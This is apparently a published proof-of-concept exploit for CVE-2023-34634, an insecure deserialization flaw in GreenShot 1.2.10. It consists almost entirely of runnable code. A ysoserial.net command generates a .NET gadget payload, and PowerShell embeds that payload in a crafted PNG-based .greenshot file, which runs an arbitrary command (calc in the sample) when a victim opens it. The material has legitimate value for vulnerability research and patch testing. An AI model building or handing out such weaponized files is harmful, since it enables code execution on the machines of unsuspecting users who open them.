GreenShot 1.2.10 Arbitrary Code Execution

`# Exploit Title: GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution  
# Date: 26/07/2023  
# Exploit Author: p4r4bellum  
# Vendor Homepage: https://getgreenshot.org  
# Software Link: https://getgreenshot.org/downloads/  
# Version: 1.2.6.10  
# Tested on: windows 10.0.19045 N/A build 19045  
# CVE : CVE-2023-34634  
#  
# GreenShot 1.2.10 and below is vulnerable to an insecure object deserialization in its custom *.greenshot format  
# A stream of .Net object is serialized and inscureley deserialized when a *.greenshot file is open with the software  
# On a default install the *.greenshot file extension is associated with the programm, so double-click on a*.greenshot file  
# will lead to arbitrary code execution  
#  
# Generate the payload. You need yserial.net to be installed on your machine. Grab it at https://github.com/pwntester/ysoserial.net  
./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" --outputpath payload.bin -o raw  
#load the payload  
$payload = Get-Content .\payload.bin -Encoding Byte  
# retrieve the length of the payload  
$length = $payload.Length  
# load the required assembly to craft a PNG file  
Add-Type -AssemblyName System.Drawing  
# the following lines creates a png file with some text. Code borrowed from https://stackoverflow.com/questions/2067920/can-i-draw-create-an-image-with-a-given-text-with-powershell  
$filename = "$home\poc.greenshot"  
$bmp = new-object System.Drawing.Bitmap 250,61   
$font = new-object System.Drawing.Font Consolas,24   
$brushBg = [System.Drawing.Brushes]::Green   
$brushFg = [System.Drawing.Brushes]::Black   
$graphics = [System.Drawing.Graphics]::FromImage($bmp)   
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)   
$graphics.DrawString('POC Greenshot',$font,$brushFg,10,10)   
$graphics.Dispose()   
$bmp.Save($filename)   
  
# append the payload to the PNG file  
$payload | Add-Content -Path $filename -Encoding Byte -NoNewline   
# append the length of the payload  
[System.BitConverter]::GetBytes([long]$length) | Add-Content -Path $filename -Encoding Byte -NoNewline  
# append the signature  
"Greenshot01.02" | Add-Content -path $filename -NoNewline -Encoding Ascii  
# launch greenshot. Calc.exe should be executed  
Invoke-Item $filename  
  
`